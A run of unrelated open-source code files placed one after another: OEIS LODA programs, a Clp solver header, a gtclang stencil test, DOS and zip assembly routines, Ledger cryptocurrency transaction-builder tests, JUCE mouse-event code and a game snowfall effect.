; A213820: Principal diagonal of the convolution array A213819. ; 2,18,60,140,270,462,728,1080,1530,2090,2772,3588,4550,5670,6960,8432,10098,11970,14060,16380,18942,21758,24840,28200,31850,35802,40068,44660,49590,54870,60512,66528,72930,79730,86940,94572,102638,111150,120120,129560,139482,149898,160820,172260,184230,196742,209808,223440,237650,252450,267852,283868,300510,317790,335720,354312,373578,393530,414180,435540,457622,480438,504000,528320,553410,579282,605948,633420,661710,690830,720792,751608,783290,815850,849300,883652,918918,955110,992240,1030320,1069362,1109378,1150380,1192380,1235390,1279422,1324488,1370600,1417770,1466010,1515332,1565748,1617270,1669910,1723680,1778592,1834658,1891890,1950300,2009900,2070702,2132718,2195960,2260440,2326170,2393162,2461428,2530980,2601830,2673990,2747472,2822288,2898450,2975970,3054860,3135132,3216798,3299870,3384360,3470280,3557642,3646458,3736740,3828500,3921750,4016502,4112768,4210560,4309890,4410770,4513212,4617228,4722830,4830030,4938840,5049272,5161338,5275050,5390420,5507460,5626182,5746598,5868720,5992560,6118130,6245442,6374508,6505340,6637950,6772350,6908552,7046568,7186410,7328090,7471620,7617012,7764278,7913430,8064480,8217440,8372322,8529138,8687900,8848620,9011310,9175982,9342648,9511320,9682010,9854730,10029492,10206308,10385190,10566150,10749200,10934352,11121618,11311010,11502540,11696220,11892062,12090078,12290280,12492680,12697290,12904122,13113188,13324500,13538070,13753910,13972032,14192448,14415170,14640210,14867580,15097292,15329358,15563790,15800600,16039800,16281402,16525418,16771860,17020740,17272070,17525862,17782128,18040880,18302130,18565890,18832172,19100988,19372350,19646270,19922760,20201832,20483498,20767770,21054660,21344180,21636342,21931158,22228640,22528800,22831650,23137202,23445468,23756460,24070190,24386670,24705912,25027928,25352730,25680330,26010740,26343972,26680038,27018950,27360720,27705360,28052882,28403298,28756620,29112860,29472030,29834142,30199208,30567240,30938250,31312250 mov $2,$0 add $0,2 mov $1,$0 add $2,$0 bin $2,2 mul $1,$2
/* $Id$ */ // Copyright (C) 2007, International Business Machines // Corporation and others. All Rights Reserved. // This code is licensed under the terms of the Eclipse Public License (EPL). #ifndef ClpAmplObjective_H #define ClpAmplObjective_H #include "ClpObjective.hpp" #include "CoinPackedMatrix.hpp" //############################################################################# /** Ampl Objective Class */ class ClpAmplObjective : public ClpObjective { public: ///@name Stuff //@{ /** Returns gradient. If Ampl then solution may be NULL, also returns an offset (to be added to current one) If refresh is false then uses last solution Uses model for scaling includeLinear 0 - no, 1 as is, 2 as feasible */ virtual double * gradient(const ClpSimplex * model, const double * solution, double & offset, bool refresh, int includeLinear = 2); /// Resize objective /** Returns reduced gradient.Returns an offset (to be added to current one). */ virtual double reducedGradient(ClpSimplex * model, double * region, bool useFeasibleCosts); /** Returns step length which gives minimum of objective for solution + theta * change vector up to maximum theta. arrays are numberColumns+numberRows Also sets current objective, predicted and at maximumTheta */ virtual double stepLength(ClpSimplex * model, const double * solution, const double * change, double maximumTheta, double & currentObj, double & predictedObj, double & thetaObj); /// Return objective value (without any ClpModel offset) (model may be NULL) virtual double objectiveValue(const ClpSimplex * model, const double * solution) const ; virtual void resize(int newNumberColumns) ; /// Delete columns in objective virtual void deleteSome(int numberToDelete, const int * which) ; /// Scale objective virtual void reallyScale(const double * columnScale) ; /** Given a zeroed array sets nonlinear columns to 1. Returns number of nonlinear columns */ virtual int markNonlinear(char * which); /// Say we have new primal solution - so may need to recompute virtual void newXValues() ; //@} ///@name Constructors and destructors //@{ /// Default Constructor ClpAmplObjective(); /// Constructor from ampl info ClpAmplObjective(void * amplInfo); /** Copy constructor . */ ClpAmplObjective(const ClpAmplObjective & rhs); /// Assignment operator ClpAmplObjective & operator=(const ClpAmplObjective& rhs); /// Destructor virtual ~ClpAmplObjective (); /// Clone virtual ClpObjective * clone() const; //@} ///@name Gets and sets //@{ /// Linear objective double * linearObjective() const; //@} //--------------------------------------------------------------------------- private: ///@name Private member data /// Saved offset double offset_; /// Ampl info void * amplObjective_; /// Objective double * objective_; /// Gradient double * gradient_; //@} }; #endif
//===--------------------------------------------------------------------------------*- C++ -*-===// // _ _ // | | | | // __ _| |_ ___| | __ _ _ __ __ _ // / _` | __/ __| |/ _` | '_ \ / _` | // | (_| | || (__| | (_| | | | | (_| | // \__, |\__\___|_|\__,_|_| |_|\__, | - GridTools Clang DSL // __/ | __/ | // |___/ |___/ // // // This file is distributed under the MIT License (MIT). // See LICENSE.txt for details. // //===------------------------------------------------------------------------------------------===// // RUN: %gtclang% %file% -fno-codegen -freport-pass-set-caches // EXPECTED: PASS: PassSetCaches: Test: MS0: tmp:cache_type::k:epflush:[-3,0] // EXPECTED: PASS: PassSetCaches: Test: MS1: tmp:cache_type::k:bpfill:[0,3] #include "gridtools/clang_dsl.hpp" using namespace gridtools::clang; stencil Test { storage a, b, c; var tmp; Do { // MS0 vertical_region(k_start, k_start) tmp = a; vertical_region(k_start + 1, k_end) { tmp = a * 2; b = tmp(k - 1); } // MS1 vertical_region(k_end - 3, k_end - 3) { c = tmp[k + 3] + tmp[k + 2] + tmp[k + 1]; } vertical_region(k_end - 4, k_start) { tmp = b; c = tmp[k + 1]; } } }; int main() {}
title decimal_to_binary .model small .stack 100h .data msg db 'Entry a decimal number:$' msg1 db 0dh, 0ah, 'Invalid entry $' msg2 db 0dh, 0ah, 'Its binary equivalent: $' .code main proc mov ax, @data mov ds, ax lea dx, msg mov ah, 9 int 21h mov ah, 1 int 21h cmp al, 30h jnge invalid cmp al, 39h jnle invalid lea dx, msg2 mov ah, 9 int 21h and al, 0fh mov cl, 3 mov bl, al mov bh, bl shr bh, cl add bh, 30h mov ah, 2 mov dl, bh int 21h xor bh, bh mov bh, bl mov cl, 2 and bh, 04h shr bh, cl add bh, 30h mov ah, 2 mov dl, bh int 21h xor bh, bh mov bh, bl and bh, 02h shr bh, 1 add bh, 30h mov ah, 2 mov dl, bh int 21h xor bh, bh mov bh, bl and bh, 01h add bh, 30h mov ah, 2 mov dl, bh int 21h jmp exit invalid: lea dx, msg1 mov ah, 9 int 21h exit: mov ah, 4ch int 21h main endp end main
; ; Copyright (C) 1990-1992 Mark Adler, Richard B. Wales, and Jean-loup Gailly. ; Permission is granted to any individual or institution to use, copy, or ; redistribute this software so long as all of the original files are included ; unmodified, that it is not sold for profit, and that this copyright notice ; is retained. ; ; match.asm by Jean-loup Gailly. ; match.asm, optimized version of longest_match() in deflate.c ; Must be assembled with masm -ml. To be used only with C large model. ; (For compact model, follow the instructions given below.) ; This file is only optional. If you don't have masm or tasm, use the ; C version (add -DNO_ASM to CFLAGS in makefile.msc and remove match.obj ; from OBJI). If you have reduced WSIZE in zip.h, then change its value ; below. ; ; Turbo C 2.0 does not support static allocation of more than 64K bytes per ; file, and does not have SS == DS. So TC and BC++ users must use: ; tasm -ml -DDYN_ALLOC -DSS_NEQ_DS match; ; ; To simplify the code, the option -DDYN_ALLOC is supported for OS/2 ; only if the arrays are guaranteed to have zero offset (allocated by ; halloc). We also require SS==DS. This is satisfied for MSC but not Turbo C. name match ; define LCODE as follows: ; model: compact large (small and medium not supported here) ; LCODE 0 1 LCODE equ 1 ; Better define them on the command line ;DYN_ALLOC equ 1 ;SS_NEQ_DS equ 1 ; For Turbo C, define SS_NEQ_DS as 1, but for MSC you can leave it undefined. ; The code is a little better when SS_NEQ_DS is not defined. ifndef DYN_ALLOC extrn _prev : word extrn _window : byte prev equ _prev ; offset part window equ _window endif _DATA segment word public 'DATA' extrn _match_start : word extrn _prev_length : word extrn _good_match : word extrn _strstart : word extrn _max_chain_length : word ifdef DYN_ALLOC extrn _prev : word extrn _window : word prev equ 0 ; offset forced to zero window equ 0 window_seg equ _window[2] window_off equ 0 else wseg dw seg _window window_seg equ wseg window_off equ offset _window endif _DATA ends DGROUP group _DATA if LCODE extrn _exit : far else extrn _exit : near endif _TEXT segment word public 'CODE' assume cs: _TEXT, ds: DGROUP public _match_init public _longest_match MIN_MATCH equ 3 MAX_MATCH equ 258 WSIZE equ 8192 ; keep in sync with zip.h ! WMASK equ (WSIZE-1) MIN_LOOKAHEAD equ (MAX_MATCH+MIN_MATCH+1) MAX_DIST equ (WSIZE-MIN_LOOKAHEAD) prev_ptr dw seg _prev ; pointer to the prev array ifdef SS_NEQ_DS match_start dw 0 ; copy of _match_start if SS != DS endif ; initialize or check the variables used in match.asm. if LCODE _match_init proc far else _match_init proc near endif ifdef SS_NEQ_DS ma_start equ cs:match_start ; does not work on OS/2 else assume ss: DGROUP ma_start equ ss:_match_start mov ax,ds mov bx,ss cmp ax,bx ; SS == DS? jne error endif ifdef DYN_ALLOC mov ax,_window[0] ; force zero offset add ax,15 mov cx,4 shr ax,cl add _window[2],ax mov _window[0],0 mov ax,_prev[0] ; force zero offset add ax,15 mov cx,4 shr ax,cl add _prev[2],ax mov _prev[0],0 ifdef SS_NEQ_DS mov ax,_prev[2] ; segment value mov cs:prev_ptr,ax ; ugly write to code, crash on OS/2 prev_seg equ cs:prev_ptr else prev_seg equ ss:_prev[2] ; works on OS/2 if SS == DS endif else prev_seg equ cs:prev_ptr endif ret error: call _exit _match_init endp ; ----------------------------------------------------------------------- ; Set match_start to the longest match starting at the given string and ; return its length. Matches shorter or equal to prev_length are discarded, ; in which case the result is equal to prev_length and match_start is ; garbage. ; IN assertions: cur_match is the head of the hash chain for the current ; string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1 ; int longest_match(cur_match) if LCODE _longest_match proc far else _longest_match proc near endif push bp mov bp,sp push di push si push ds if LCODE cur_match equ word ptr [bp+6] else cur_match equ word ptr [bp+4] endif ; window equ es:window (es:0 for DYN_ALLOC) ; prev equ ds:prev ; match equ es:si ; scan equ es:di ; chain_length equ bp ; best_len equ bx ; limit equ dx mov si,cur_match ; use bp before it is destroyed mov bp,_max_chain_length ; chain_length = max_chain_length mov di,_strstart mov dx,di sub dx,MAX_DIST ; limit = strstart-MAX_DIST jae limit_ok sub dx,dx ; limit = NIL limit_ok: add di,2+window_off ; di = offset(window + strstart + 2) mov bx,_prev_length ; best_len = prev_length mov es,window_seg mov ax,es:[bx+di-3] ; ax = scan[best_len-1..best_len] mov cx,es:[di-2] ; cx = scan[0..1] cmp bx,_good_match ; do we have a good match already? mov ds,prev_seg ; (does not destroy the flags) assume ds: nothing jb do_scan ; good match? shr bp,1 ; chain_length >>= 2 shr bp,1 jmp short do_scan even ; align destination of branch long_loop: ; at this point, ds:di == scan+2, ds:si == cur_match mov ax,[bx+di-3] ; ax = scan[best_len-1..best_len] mov cx,[di-2] ; cx = scan[0..1] mov ds,prev_seg ; reset ds to address the prev array short_loop: dec bp ; --chain_length jz the_end ; at this point, di == scan+2, si = cur_match, ; ax = scan[best_len-1..best_len] and cx = scan[0..1] if (WSIZE-32768) and si,WMASK endif shl si,1 ; cur_match as word index mov si,prev[si] ; cur_match = prev[cur_match] cmp si,dx ; cur_match <= limit ? jbe the_end do_scan: cmp ax,word ptr es:window[bx+si-1] ; check match at best_len-1 jne short_loop cmp cx,word ptr es:window[si] ; check min_match_length match jne short_loop lea si,window[si+2] ; si = match mov ax,di ; ax = scan+2 mov cx,es mov ds,cx ; ds = es = window mov cx,(MAX_MATCH-2)/2 ; scan for at most MAX_MATCH bytes repe cmpsw ; loop until mismatch je maxmatch ; match of length MAX_MATCH? mismatch: mov cl,[di-2] ; mismatch on first or second byte? sub cl,[si-2] ; cl = 0 if first bytes equal xchg ax,di ; di = scan+2, ax = end of scan sub ax,di ; ax = len sub si,ax ; si = cur_match + 2 + offset(window) sub si,2+window_off ; si = cur_match sub cl,1 ; set carry if cl == 0 (can't use DEC) adc ax,0 ; ax = carry ? len+1 : len cmp ax,bx ; len > best_len ? jle long_loop mov ma_start,si ; match_start = cur_match mov bx,ax ; bx = best_len = len cmp ax,MAX_MATCH ; len >= MAX_MATCH ? jl long_loop the_end: pop ds assume ds: DGROUP ifdef SS_NEQ_DS mov ax,ma_start ; garbage if no match found mov ds:_match_start,ax endif pop si pop di pop bp mov ax,bx ; result = ax = best_len ret maxmatch: ; come here if maximum match cmpsb ; increment si and di jmp mismatch ; force match_length = MAX_LENGTH _longest_match endp _TEXT ends end
; A290651: a(n) = 5 - 2^(n - 1) + 3^(n - 1) + n - 2. ; 4,6,11,26,73,220,675,2070,6317,19184,58039,175114,527361,1586148,4766603,14316158,42981205,129009112,387158367,1161737202,3485735849,10458256076,31376865331,94134790246,282412759293,847255055040,2541798719495,7625463267290 mov $2,1 mov $3,$0 lpb $0 sub $0,1 mul $1,3 add $1,$2 mul $2,2 lpe add $1,4 add $1,$3 mov $0,$1
/* * * bitcoin_transaction_tests.cpp * ledger-core * * Created by Pierre Pollastri on 28/03/2018. * * The MIT License (MIT) * * Copyright (c) 2017 Ledger * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * */ #include "../BaseFixture.h" #include "../../fixtures/medium_xpub_fixtures.h" #include "../../fixtures/bch_xpub_fixtures.h" #include "../../fixtures/zec_xpub_fixtures.h" #include <wallet/bitcoin/transaction_builders/BitcoinLikeTransactionBuilder.h> #include <wallet/bitcoin/api_impl/BitcoinLikeWritableInputApi.h> #include "transaction_test_helper.h" #include <iostream> using namespace std; #include <utils/hex.h> struct BitcoinMakeP2PKHTransaction : public BitcoinMakeBaseTransaction { void SetUpConfig() override { testData.configuration = DynamicObject::newInstance(); testData.walletName = "my_wallet"; testData.currencyName = "bitcoin"; testData.inflate = ledger::testing::medium_xpub::inflate; } }; TEST_F(BitcoinMakeP2PKHTransaction, CreateStandardP2PKHWithOneOutput) { auto builder = tx_builder(); auto balance = wait(account->getBalance()); builder->sendToAddress(api::Amount::fromLong(currency, 20000000), "36v1GRar68bBEyvGxi9RQvdP6Rgvdwn2C2"); builder->pickInputs(api::BitcoinLikePickingStrategy::DEEP_OUTPUTS_FIRST, 0xFFFFFFFF); //builder->excludeUtxo("beabf89d72eccdcb895373096a402ae48930aa54d2b9e4d01a05e8f068e9ea49", 0); builder->setFeesPerByte(api::Amount::fromLong(currency, 61)); auto f = builder->build(); auto tx = ::wait(f); auto parsedTx = BitcoinLikeTransactionBuilder::parseRawUnsignedTransaction(wallet->getCurrency(), tx->serialize()); auto rawPrevious = ::wait(std::dynamic_pointer_cast<BitcoinLikeWritableInputApi>(tx->getInputs()[0])->getPreviousTransaction()); EXPECT_EQ(tx->serialize(), parsedTx->serialize()); // EXPECT_EQ( // "0100000001f6390f2600568e3dd28af5d53e821219751d6cb7a03ec9476f96f5695f2807a2000000001976a914bfe0a15bbed6211262d3a8d8a891e738bab36ffb88acffffffff0210270000000000001976a91423cc0488e5832d8f796b88948b8af1dd186057b488ac10580100000000001976a914d642b9c546d114dc634e65f72283e3458032a3d488ac41eb0700", // hex::toString(tx->serialize()) // ); } TEST_F(BitcoinMakeP2PKHTransaction, CreateStandardP2PKHWithOneOutputAndFakeSignature) { auto builder = tx_builder(); builder->sendToAddress(api::Amount::fromLong(currency, 10000), "14GH47aGFWSjvdrEiYTEfwjgsphNtbkWzP"); builder->pickInputs(api::BitcoinLikePickingStrategy::DEEP_OUTPUTS_FIRST, 0xFFFFFFFF); builder->setFeesPerByte(api::Amount::fromLong(currency, 10)); auto f = builder->build(); auto tx = ::wait(f); tx->getInputs()[0]->pushToScriptSig({5, 'h', 'e', 'l', 'l', 'o'}); std::cout << hex::toString(tx->serialize()) << std::endl; // EXPECT_EQ( // "0100000001f6390f2600568e3dd28af5d53e821219751d6cb7a03ec9476f96f5695f2807a200000000060568656c6c6fffffffff0210270000000000001976a91423cc0488e5832d8f796b88948b8af1dd186057b488ac10580100000000001976a914d642b9c546d114dc634e65f72283e3458032a3d488ac41eb0700", // hex::toString(tx->serialize()) // ); } TEST_F(BitcoinMakeP2PKHTransaction, CreateStandardP2PKHWithMultipleInputs) { auto builder = tx_builder(); builder->sendToAddress(api::Amount::fromLong(currency, 100000000), "14GH47aGFWSjvdrEiYTEfwjgsphNtbkWzP"); builder->pickInputs(api::BitcoinLikePickingStrategy::DEEP_OUTPUTS_FIRST, 0xFFFFFFFF); builder->setFeesPerByte(api::Amount::fromLong(currency, 10)); auto f = builder->build(); auto tx = ::wait(f); std::cout << hex::toString(tx->serialize()) << std::endl; // EXPECT_EQ( // "0100000003f6390f2600568e3dd28af5d53e821219751d6cb7a03ec9476f96f5695f2807a2000000001976a914bfe0a15bbed6211262d3a8d8a891e738bab36ffb88acffffffff02e32c49a32937f38fc25d28b8bcd90baaea7b592649af465792cac7b6a9e484000000001976a9148229692a444f0c3f75faafcfd465540a7c2f954988acffffffff1de6319dc1176cc26ee2ed80578dfdbd85a1147dcf9e10eebb5d416f33919f51000000001976a91415a3065a3c32b2d4de4dcceafca0fbd674bdcf7988acffffffff0280969800000000001976a91423cc0488e5832d8f796b88948b8af1dd186057b488acd0b51000000000001976a914d642b9c546d114dc634e65f72283e3458032a3d488ac41eb0700", // hex::toString(tx->serialize()) // ); } TEST_F(BitcoinMakeP2PKHTransaction, Toto) { std::shared_ptr<AbstractWallet> w = wait(pool->createWallet("my_btc_wallet", "bitcoin_testnet", DynamicObject::newInstance())); api::ExtendedKeyAccountCreationInfo info = wait(w->getNextExtendedKeyAccountCreationInfo()); info.extendedKeys.push_back("tpubDCJarhe7f951cUufTWeGKh1w6hDgdBcJfvQgyMczbxWvwvLdryxZuchuNK3KmTKXwBNH6Ze6tHGrUqvKGJd1VvSZUhTVx58DrLn9hR16DVr"); std::shared_ptr<AbstractAccount> account = std::dynamic_pointer_cast<AbstractAccount>(wait(w->newAccountWithExtendedKeyInfo(info))); std::shared_ptr<BitcoinLikeAccount> bla = std::dynamic_pointer_cast<BitcoinLikeAccount>(account); Promise<Unit> p; auto s = bla->synchronize(); s->subscribe(bla->getContext(), make_receiver([=](const std::shared_ptr<api::Event> &event) mutable { fmt::print("Received event {}\n", api::to_string(event->getCode())); if (event->getCode() == api::EventCode::SYNCHRONIZATION_STARTED) return; EXPECT_NE(event->getCode(), api::EventCode::SYNCHRONIZATION_FAILED); EXPECT_EQ(event->getCode(), api::EventCode::SYNCHRONIZATION_SUCCEED_ON_PREVIOUSLY_EMPTY_ACCOUNT); p.success(unit); })); Unit u = wait(p.getFuture()); auto builder = std::dynamic_pointer_cast<BitcoinLikeTransactionBuilder>(bla->buildTransaction()); builder->sendToAddress(api::Amount::fromLong(currency, 1000), "ms8C1x7qHa3WJM986NKyx267i2LFGaHRZn"); builder->pickInputs(api::BitcoinLikePickingStrategy::DEEP_OUTPUTS_FIRST, 0xFFFFFFFF); builder->setFeesPerByte(api::Amount::fromLong(currency, 10)); auto f = builder->build(); auto tx = ::wait(f); std::cout << hex::toString(tx->serialize()) << std::endl; std::cout << tx->getOutputs()[0]->getAddress().value_or("NOP") << std::endl; auto parsedTx = BitcoinLikeTransactionBuilder::parseRawUnsignedTransaction(wallet->getCurrency(), tx->serialize()); auto rawPrevious = ::wait(std::dynamic_pointer_cast<BitcoinLikeWritableInputApi>(tx->getInputs()[0])->getPreviousTransaction()); std::cout << hex::toString(parsedTx->serialize()) << std::endl; std::cout << parsedTx->getInputs().size() << std::endl; std::cout << hex::toString(rawPrevious) << std::endl; std::cout << tx->getFees()->toLong() << std::endl; EXPECT_EQ(tx->serialize(), parsedTx->serialize()); } struct BCHMakeP2SHTransaction : public BitcoinMakeBaseTransaction { void SetUpConfig() override { testData.configuration = DynamicObject::newInstance(); testData.walletName = "my_wallet"; testData.currencyName = "bitcoin_cash"; testData.inflate = ledger::testing::bch_xpub::inflate; } }; TEST_F(BCHMakeP2SHTransaction, CreateStandardP2SHWithOneOutput) { auto builder = tx_builder(); builder->sendToAddress(api::Amount::fromLong(currency, 5000), "14RYdhaFU9fMH25e6CgkRrBRjZBvEvKxne"); builder->pickInputs(api::BitcoinLikePickingStrategy::DEEP_OUTPUTS_FIRST, 0xFFFFFFFF); builder->setFeesPerByte(api::Amount::fromLong(currency, 41)); auto f = builder->build(); auto tx = ::wait(f); auto parsedTx = BitcoinLikeTransactionBuilder::parseRawUnsignedTransaction(wallet->getCurrency(), tx->serialize()); //auto rawPrevious = ::wait(std::dynamic_pointer_cast<BitcoinLikeWritableInputApi>(tx->getInputs()[0])->getPreviousTransaction()); EXPECT_EQ(tx->serialize(), parsedTx->serialize()); } struct ZCASHMakeP2SHTransaction : public BitcoinMakeBaseTransaction { void SetUpConfig() override { testData.configuration = DynamicObject::newInstance(); testData.walletName = "my_wallet"; testData.currencyName = "zcash"; testData.inflate = ledger::testing::zec_xpub::inflate; } }; TEST_F(ZCASHMakeP2SHTransaction, CreateStandardP2SHWithOneOutput) { auto builder = tx_builder(); builder->sendToAddress(api::Amount::fromLong(currency, 2000), "t1MepQJABxoWarqMvgBHGiFprtuvA47Hiv8"); builder->pickInputs(api::BitcoinLikePickingStrategy::DEEP_OUTPUTS_FIRST, 0xFFFFFFFF); builder->setFeesPerByte(api::Amount::fromLong(currency, 41)); auto f = builder->build(); auto tx = ::wait(f); cout<<hex::toString(tx->serialize())<<endl; auto parsedTx = BitcoinLikeTransactionBuilder::parseRawUnsignedTransaction(wallet->getCurrency(), tx->serialize()); //auto rawPrevious = ::wait(std::dynamic_pointer_cast<BitcoinLikeWritableInputApi>(tx->getInputs()[0])->getPreviousTransaction()); EXPECT_EQ(tx->serialize(), parsedTx->serialize()); }
/* ============================================================================== This file is part of the JUCE library. Copyright (c) 2020 - Raw Material Software Limited JUCE is an open source library subject to commercial or open-source licensing. By using JUCE, you agree to the terms of both the JUCE 6 End-User License Agreement and JUCE Privacy Policy (both effective as of the 16th June 2020). End User License Agreement: www.juce.com/juce-6-licence Privacy Policy: www.juce.com/juce-privacy-policy Or: You may also use this code under the terms of the GPL v3 (see www.gnu.org/licenses). JUCE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE DISCLAIMED. ============================================================================== */ namespace juce { MouseEvent::MouseEvent (MouseInputSource inputSource, Point<float> pos, ModifierKeys modKeys, float force, float o, float r, float tX, float tY, Component* const eventComp, Component* const originator, Time time, Point<float> downPos, Time downTime, const int numClicks, const bool mouseWasDragged) noexcept : position (pos), x (roundToInt (pos.x)), y (roundToInt (pos.y)), mods (modKeys), pressure (force), orientation (o), rotation (r), tiltX (tX), tiltY (tY), mouseDownPosition (downPos), eventComponent (eventComp), originalComponent (originator), eventTime (time), mouseDownTime (downTime), source (inputSource), numberOfClicks ((uint8) numClicks), wasMovedSinceMouseDown ((uint8) (mouseWasDragged ? 1 : 0)) { } MouseEvent::~MouseEvent() noexcept { } //============================================================================== MouseEvent MouseEvent::getEventRelativeTo (Component* const otherComponent) const noexcept { jassert (otherComponent != nullptr); return MouseEvent (source, otherComponent->getLocalPoint (eventComponent, position), mods, pressure, orientation, rotation, tiltX, tiltY, otherComponent, originalComponent, eventTime, otherComponent->getLocalPoint (eventComponent, mouseDownPosition), mouseDownTime, numberOfClicks, wasMovedSinceMouseDown != 0); } MouseEvent MouseEvent::withNewPosition (Point<float> newPosition) const noexcept { return MouseEvent (source, newPosition, mods, pressure, orientation, rotation, tiltX, tiltY, eventComponent, originalComponent, eventTime, mouseDownPosition, mouseDownTime, numberOfClicks, wasMovedSinceMouseDown != 0); } MouseEvent MouseEvent::withNewPosition (Point<int> newPosition) const noexcept { return MouseEvent (source, newPosition.toFloat(), mods, pressure, orientation, rotation, tiltX, tiltY, eventComponent, originalComponent, eventTime, mouseDownPosition, mouseDownTime, numberOfClicks, wasMovedSinceMouseDown != 0); } //============================================================================== bool MouseEvent::mouseWasDraggedSinceMouseDown() const noexcept { return wasMovedSinceMouseDown != 0; } bool MouseEvent::mouseWasClicked() const noexcept { return ! mouseWasDraggedSinceMouseDown(); } int MouseEvent::getLengthOfMousePress() const noexcept { if (mouseDownTime.toMilliseconds() > 0) return jmax (0, (int) (eventTime - mouseDownTime).inMilliseconds()); return 0; } //============================================================================== Point<int> MouseEvent::getPosition() const noexcept { return Point<int> (x, y); } Point<int> MouseEvent::getScreenPosition() const { return eventComponent->localPointToGlobal (getPosition()); } Point<int> MouseEvent::getMouseDownPosition() const noexcept { return mouseDownPosition.roundToInt(); } Point<int> MouseEvent::getMouseDownScreenPosition() const { return eventComponent->localPointToGlobal (mouseDownPosition).roundToInt(); } Point<int> MouseEvent::getOffsetFromDragStart() const noexcept { return (position - mouseDownPosition).roundToInt(); } int MouseEvent::getDistanceFromDragStart() const noexcept { return roundToInt (mouseDownPosition.getDistanceFrom (position)); } int MouseEvent::getMouseDownX() const noexcept { return roundToInt (mouseDownPosition.x); } int MouseEvent::getMouseDownY() const noexcept { return roundToInt (mouseDownPosition.y); } int MouseEvent::getDistanceFromDragStartX() const noexcept { return getOffsetFromDragStart().x; } int MouseEvent::getDistanceFromDragStartY() const noexcept { return getOffsetFromDragStart().y; } int MouseEvent::getScreenX() const { return getScreenPosition().x; } int MouseEvent::getScreenY() const { return getScreenPosition().y; } int MouseEvent::getMouseDownScreenX() const { return getMouseDownScreenPosition().x; } int MouseEvent::getMouseDownScreenY() const { return getMouseDownScreenPosition().y; } bool MouseEvent::isPressureValid() const noexcept { return pressure > 0.0f && pressure < 1.0f; } bool MouseEvent::isOrientationValid() const noexcept { return orientation >= 0.0f && orientation <= MathConstants<float>::twoPi; } bool MouseEvent::isRotationValid() const noexcept { return rotation >= 0 && rotation <= MathConstants<float>::twoPi; } bool MouseEvent::isTiltValid (bool isX) const noexcept { return isX ? (tiltX >= -1.0f && tiltX <= 1.0f) : (tiltY >= -1.0f && tiltY <= 1.0f); } //============================================================================== static int doubleClickTimeOutMs = 400; int MouseEvent::getDoubleClickTimeout() noexcept { return doubleClickTimeOutMs; } void MouseEvent::setDoubleClickTimeout (const int newTime) noexcept { doubleClickTimeOutMs = newTime; } } // namespace juce
#include "util/funcs_sal.h" #include "util/bitmap.h" #include "environment/snow_atmosphere.h" #include "../gamecore/util/token.h" #include <math.h> using namespace std; static int screenX(){ return 320; } static int screenY(){ return 240; } SnowAtmosphere::SnowAtmosphere(): Atmosphere(){ for ( int i = 0; i < 150; i++ ){ Flake * f = new Flake(Util::rnd( screenX() * 2 ) - screenX() / 2, Util::rnd( screenY() ), Util::rnd(360), Util::rnd( 3 ) ); flakes.push_back( f ); } } SnowAtmosphere::~SnowAtmosphere(){ for ( vector< Flake * >::iterator it = flakes.begin(); it != flakes.end(); it++ ){ delete *it; } } static void drawFlake0( Flake * f, CBitmap * work ){ int c = (int)(200 + 3 * log((double)(f->y < 1 ? 1 : 2 * f->y))); if (c > 255){ c = 255; } int color = CBitmap::makeColor(c, c, c); // work->circleFill( f->x, f->y, 1, color ); double pi = 3.141592526; double rads = f->angle * pi / 180; double rads2 = rads + pi / 2.0; double length = 1.5; int x1 = (int)(f->x - length * cos(rads)); int y1 = (int)(f->y + length * sin(rads)); int x2 = (int)(f->x + length * cos(rads)); int y2 = (int)(f->y - length * sin(rads)); work->line(x1, y1, x2, y2, color); x1 = (int)(f->x - length * cos(rads2)); y1 = (int)(f->y + length * sin(rads2)); x2 = (int)(f->x + length * cos(rads2)); y2 = (int)(f->y - length * sin(rads2)); work->line(x1, y1, x2, y2, color); /* work->line( f->x - 1, f->y - 1, f->x + 1, f->y + 1, color ); work->line( f->x + 1, f->y - 1, f->x - 1, f->y + 1, color ); */ } void SnowAtmosphere::drawBackground(CBitmap * work, int x){ } void SnowAtmosphere::drawForeground(CBitmap * work, int x){ } void SnowAtmosphere::drawFront(CBitmap * work, int x){ } void SnowAtmosphere::drawScreen(CBitmap * work, int x){ for ( vector< Flake * >::iterator it = flakes.begin(); it != flakes.end(); it++ ){ Flake * f = *it; switch ( f->type ){ default : { drawFlake0( f, work ); break; } } } } void SnowAtmosphere::act(const Scene & level){ for ( vector< Flake * >::iterator it = flakes.begin(); it != flakes.end(); it++ ){ Flake * f = *it; f->dy += 0.40; f->y = (int) f->dy; f->dx += (double)f->dir / 4.3; f->x = (int) f->dx; f->dir += Util::rnd( 2 ) * 2 - 1; f->angle = (f->angle + f->spin + 360) % 360; f->spin += Util::rnd(11) - 5; if ( f->dir > 3 ){ f->dir = 3; } if ( f->dir < -3 ){ f->dir = -3; } if ( f->y >= screenY() ){ f->y = - Util::rnd( 30 ); f->dy = f->y; f->x = Util::rnd(screenX()); f->dx = f->x; } if ( f->x < -50 ){ f->x = -50; f->dx = f->x; } if ( f->x > screenX() + 50 ){ f->x = screenX() + 50; f->dx = f->x; } } } void SnowAtmosphere::interpret(Token * message){ }
